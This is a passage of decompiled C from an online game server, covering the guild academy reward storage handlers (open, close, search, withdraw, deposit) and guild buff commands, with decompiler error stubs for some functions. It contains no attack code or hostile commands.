"ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - guildacademy member"; goto LABEL_20; } if ( !(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2140))(v2) || (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2140))(v2) != *(_DWORD *)(reward + 12) ) { v18 = 0; v17 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - guildacademy number"; goto LABEL_20; } v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26491; v4 = (int)(v3 + 2); *(_BYTE *)v4 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v4 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v4 + 7) = *(_DWORD *)(reward + 12); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); Name4::operator_(v4 + 11, v5); *(_DWORD *)(v4 + 27) = *(_DWORD *)(reward + 44); *(_DWORD *)(v4 + 31) = *(_DWORD *)(reward + 48); *(_DWORD *)(v4 + 35) = *(_DWORD *)(reward + 52); *(_DWORD *)(v4 + 39) = *(_DWORD *)(reward + 56); *(_BYTE *)(v4 + 43) = *(_BYTE *)(reward + 60); v6 = *(_BYTE *)(reward + 60); i = 0; if ( v6 ) { v21 = v4 + 44; v20 = reward + 61; do { v7 = v20; v8 = v21; *(_DWORD *)v21 = *(_DWORD *)v20; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v7 + 4); v9 = i; *(_BYTE *)(v8 + 8) = *(_BYTE *)(v7 + 8); v20 += 9; v21 += 9; v10 = *(_BYTE *)(reward + 60); i = v9 + 1; } while ( v9 + 1 < v10 ); } ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 9 * *(_BYTE *)(v4 + 43) + 46); buff = *(_DWORD *)v4; v25 = *(_WORD *)(v4 + 4); v26 = *(_BYTE *)(v4 + 6); v27 = *(_DWORD *)(v4 + 7); v28 = *(_DWORD *)(v4 + 11); v29 = *(_DWORD *)(v4 + 15); v30 = *(_DWORD *)(v4 + 19); v31 = *(_DWORD *)(v4 + 23); v32 = *(_DWORD *)(v4 + 27); v33 = *(_DWORD *)(v4 + 31); v34 = *(_DWORD *)(v4 + 35); v35 = *(_DWORD *)(v4 + 39); v36 = *(_BYTE *)(v4 + 43); v11 = 0; if ( *(_BYTE *)(v4 + 43) ) { v20 = (int)&v37; v21 = v4 + 44; do { v12 = v21; v13 = v20; *(_DWORD *)v20 = *(_DWORD *)v21; *(_DWORD *)(v13 + 4) = *(_DWORD *)(v12 + 4); v14 = v20; *(_BYTE *)(v13 + 8) = *(_BYTE *)(v12 + 8); v15 = *(_BYTE *)(v4 + 43); ++v11; v21 += 9; v20 = v14 + 9; } while ( v11 < v15 ); } GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)&buff); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)&buff); if ( *(_DWORD *)(reward + 48) || *(_DWORD *)(reward + 44) ) { LODWORD(v16) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1072))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1084))( v2, *(_DWORD *)(reward + 44) + v16, (unsigned __int64)(*(_QWORD *)(reward + 44) + v16) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1092))(v2); } v39 = -1; v19 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); __security_check_cookie((unsigned int)&v20 ^ v38); } //----- (0045D7A0) -------------------------------------------------------- #error "45D7A0: undefined or illegal type '#593' (funcsize=73)" //----- (0045D8A0) -------------------------------------------------------- #error "45D8A0: undefined or illegal type '#593' (funcsize=60)" //----- (0045D990) -------------------------------------------------------- #error "45D990: undefined or illegal type '#593' (funcsize=63)" //----- (0045DA80) -------------------------------------------------------- #error "45DA80: undefined or illegal type '#593' (funcsize=81)" //----- (0045DB90) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ShineGuildAcademyGuildBuff sgagb; // [sp+4h] [bp-1Ch]@1 int v4; // [sp+1Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff( &sgagb, (PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *)&netcmd[1]); LOBYTE(v4) = 1; List::l_4AllInList( (List *)shineobjmanager.som_ListContainer[2], (ListIteratorDefault *)&sgagb); --funcallanalizer.fca_stackpoint; sgagb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0045DC50) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ShineGuildAcademyMasterBuff sgamb; // [sp+4h] [bp-18h]@1 int v4; // [sp+18h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; sgamb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyMasterBuff::_vftable_; sgamb.sgamb_GuildBuff = (PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD *)&netcmd[1]; LOBYTE(v4) = 1; List::l_4AllInList( (List *)shineobjmanager.som_ListContainer[2], (ListIteratorDefault *)&sgamb); --funcallanalizer.fca_stackpoint; sgamb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"); } // 641318: using guessed type int (__stdcall *ShineGuildAcademyMasterBuff___vftable_)(int, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0045DD10) -------------------------------------------------------- #error "45DD10: undefined or illegal type '#593' (funcsize=61)" //----- (0045DE00) -------------------------------------------------------- #error "45DE00: undefined or illegal type '#593' (funcsize=56)" //----- (0045DEE0) -------------------------------------------------------- #error "45DEE0: undefined or illegal type '#593' (funcsize=56)" //----- (0045DFC0) -------------------------------------------------------- #error "45DFC0: undefined or illegal type '#593' (funcsize=56)" //----- (0045E0A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned __int8 v5; // al@1 char v6; // al@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_BYTE *)(netcmd + 2); if ( v5 < 3u ) { *((_BYTE *)v4 + v5 + 68490) = 0; v6 = 1; if ( *((_BYTE *)v4 + 68490) == 1 ) v6 = 0; if ( *((_BYTE *)v4 + 68491) == 1 ) v6 = 0; if ( *((_BYTE *)v4 + 68492) != 1 && v6 == 1 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2116))(v4); } else { AssertClass::ac_AssertFail(&shineassert, "sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD : nCloseType Error", v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"); } //----- (0045E190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ(void *this, int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 int v5; // ebx@2 char *v6; // edi@6 ZoneBaseSession *v7; // eax@8 char *v8; // edi@9 ZoneBaseSession *v9; // eax@11 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) == 1 ) v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2140))(v4); else v5 = netcmd; } else { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); } v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13442; *((_WORD *)v6 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v6 + 2) = v5; v6[12] = *(_BYTE *)(netcmd + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ : Packet Too Long", 13); } v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26512; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"); } //----- (0045E320) -------------------------------------------------------- GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *), unsigned __int16 *hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *); // [sp+8h] [bp-1Ch]@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v8; // [sp+Ch] [bp-18h]@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (0045E390) -------------------------------------------------------- GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle) { List *v3; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *result; // eax@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement key; // [sp+8h] [bp-20C8h]@1 unsigned int v6; // [sp+20C0h] [bp-10h]@1 int v7; // [sp+20CCh] [bp-4h]@1 v6 = (unsigned int)&key ^ __security_cookie; v3 = (List *)this; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(&key, guild); v7 = 0; List::l_Search( v3, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCompare, storagehandle, &key); v7 = -1; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement(&key); __security_check_cookie((unsigned int)&key ^ v6); return result; } //----- (0045E440) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDeactivate(int a1, int a2) { int v2; // esi@1 unsigned int v3; // edi@2 unsigned __int16 *v4; // eax@9 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v5; // ebx@9 __int16 v6; // ax@10 int result; // eax@14 unsigned int nGuildNo; // [sp+8h] [bp-20h]@0 ListIteratorDefault arg; // [sp+10h] [bp-18h]@10 unsigned int v10; // [sp+14h] [bp-14h]@10 int v11; // [sp+18h] [bp-10h]@10 unsigned int v12; // [sp+1Ch] [bp-Ch]@10 signed int v13; // [sp+28h] [bp+0h]@10 v2 = a1; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)a1 + 2136))() ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2136))(v2) == 1 ) v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2140))(v2); else v3 = nGuildNo; } else { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2072))(v2); } if ( v3 && (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2108))(v2) && *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2108))(v2) != -1 ) { v4 = (unsigned __int16 *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 2108))(v2, a2); v5 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v3, v4); if ( v5 ) { v6 = *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2108))(v2); arg.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageDeactive::_vftable_; v10 = v3; LOWORD(v11) = v6; v12 = 0; v13 = 0; List::l_4AllInList((List *)shineobjmanager.som_ListContainer[2], &arg); if ( v12 <= 1 ) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(v5); List::l_Free((List *)&gldacademyrewardstoramanager, *(_WORD *)(v2 + 68486)); } v13 = -1; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2112))(v2); } result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2108))(v2); if ( result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2108))(v2); if ( *(_WORD *)result != -1 ) result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 2112))(v2, 65535); } return result; } // 6412B4: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageDeactive___vftable_)(int, int nGuildNo); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0045E5A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck(void *this, int withdraw) { void *v2; // edi@1 int v3; // edx@1 int v4; // eax@2 unsigned __int16 *v5; // eax@6 void *v6; // eax@6 bool v7; // zf@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v8; // esi@6 int v9; // eax@8 int v10; // ST04_4@9 DebugLogging *v11; // eax@9 DebugLogging *v12; // eax@9 unsigned __int64 v13; // qax@10 unsigned int v14; // esi@10 unsigned int v15; // ebx@10 unsigned __int64 v16; // kr00_8@10 char *v17; // eax@10 int v18; // eax@12 char *v19; // eax@13 int v20; // esi@13 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v21; // ecx@13 int v22; // eax@13 int v23; // eax@14 int v24; // eax@16 char *v25; // [sp+0h] [bp-64h]@13 unsigned int nGuildNo; // [sp+14h] [bp-50h]@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *storage; // [sp+18h] [bp-4Ch]@6 FunctionEntarance _; // [sp+1Ch] [bp-48h]@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+20h] [bp-44h]@13 unsigned int v30; // [sp+54h] [bp-10h]@1 int v31; // [sp+60h] [bp-4h]@1 v2 = this; v30 = (unsigned int)&nGuildNo ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v31 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v3 + 2136))(v2) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2072))(v2); LABEL_5: nGuildNo = v4; goto LABEL_6; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2136))(v2) == 1 ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2140))(v2); goto LABEL_5; } LABEL_6: v5 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2108))(v2); v6 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, nGuildNo, v5); v7 = *(_WORD *)(withdraw + 16) == 6112; v8 = (GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)v6; storage = (GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)v6; if ( v7 && v6 ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v9 + 32))( v9, v2, *(_WORD *)(withdraw + 6), 0) ) { v10 = *(_WORD *)(withdraw + 6); v11 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : "); v12 = DebugLogging::operator<<(v11, v10); DebugLogging::operator<<(v12, &deb_LF); } v13 = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v8); v14 = v13; LODWORD(v13) = *(_DWORD *)(withdraw + 8); v15 = HIDWORD(v13); HIDWORD(v13) = *(_DWORD *)(withdraw + 12); v16 = __PAIR__(v15, v14) - v13; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(storage, __PAIR__(v15, v14) - v13); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12336; *(_QWORD *)(v17 + 2) = v16; *((_WORD *)v17 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v20 = (int)(v19 + 2); v19[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v20 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v20 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v20 + 7) = nGuildNo; *(_BYTE *)(v20 + 11) = 1; *(_BYTE *)(v20 + 12) = 0; *(_BYTE *)(v20 + 13) = 2; *(_DWORD *)(v20 + 33) = *(_DWORD *)(withdraw + 8); v21 = storage; *(_DWORD *)(v20 + 37) = *(_DWORD *)(withdraw + 12); *(_QWORD *)(v20 + 41) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v21); v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); *(_DWORD *)(v20 + 15) = *(_DWORD *)v22; *(_DWORD *)(v20 + 19) = *(_DWORD *)(v22 + 4); *(_DWORD *)(v20 + 23) = *(_DWORD *)(v22 + 8); *(_DWORD *)(v20 + 27) = *(_DWORD *)(v22 + 12); *(_WORD *)(v20 + 31) = -1; *(_BYTE *)(v20 + 14) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, (const void *)v20, 0x30u); BYTE7(tempring.storage_cen) = *(_BYTE *)(v20 + 48); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); v25 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; } else { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v23 + 40))(v23, *(_WORD *)(withdraw + 6)); *(_WORD *)gpp.pp_Buffer = 12336; *(_WORD *)(withdraw + 16) = 6120; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v24 + 12))(v24, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v25 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; } --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v25); __security_check_cookie((unsigned int)&nGuildNo ^ v30); } //----- (0045E890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck(void *this, int deposit) { void *v2; // edi@1 int v3; // edx@1 int v4; // eax@2 unsigned __int16 *v5; // eax@6 void *v6; // eax@6 bool v7; // zf@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v8; // esi@6 int v9; // eax@8 int v10; // ST04_4@9 DebugLogging *v11; // eax@9 DebugLogging *v12; // eax@9 unsigned __int64 v13; // qax@10 unsigned int v14; // esi@10 unsigned int v15; // ebx@10 unsigned __int64 v16; // kr00_8@10 char *v17; // eax@10 int v18; // eax@12 char *v19; // eax@13 int v20; // esi@13 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v21; // ecx@13 int v22; // eax@13 int v23; // eax@14 int v24; // eax@16 char *v25; // [sp+0h] [bp-64h]@13 unsigned int nGuildNo; // [sp+14h] [bp-50h]@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *storage; // [sp+18h] [bp-4Ch]@6 FunctionEntarance _; // [sp+1Ch] [bp-48h]@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG tempring; // [sp+20h] [bp-44h]@13 unsigned int v30; // [sp+54h] [bp-10h]@1 int v31; // [sp+60h] [bp-4h]@1 v2 = this; v30 = (unsigned int)&nGuildNo ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v31 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v3 + 2136))(v2) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2072))(v2); LABEL_5: nGuildNo = v4; goto LABEL_6; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2136))(v2) == 1 ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2140))(v2); goto LABEL_5; } LABEL_6: v5 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2108))(v2); v6 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, nGuildNo, v5); v7 = *(_WORD *)(deposit + 16) == 6560; v8 = (GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)v6; storage = (GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)v6; if ( v7 && v6 ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v9 + 32))( v9, v2, *(_WORD *)(deposit + 6), 0) ) { v10 = *(_WORD *)(deposit + 6); v11 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck : "); v12 = DebugLogging::operator<<(v11, v10); DebugLogging::operator<<(v12, &deb_LF); } v13 = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v8); v14 = v13; LODWORD(v13) = *(_DWORD *)(deposit + 8); v15 = HIDWORD(v13); HIDWORD(v13) = *(_DWORD *)(deposit + 12); v16 = v13 + __PAIR__(v15, v14); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(storage, v13 + __PAIR__(v15, v14)); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12338; *(_QWORD *)(v17 + 2) = v16; *((_WORD *)v17 + 5) = *(_WORD *)(deposit + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck : Packet Too Long", 12); } v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26508; v20 = (int)(v19 + 2); v19[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v20 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v20 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v20 + 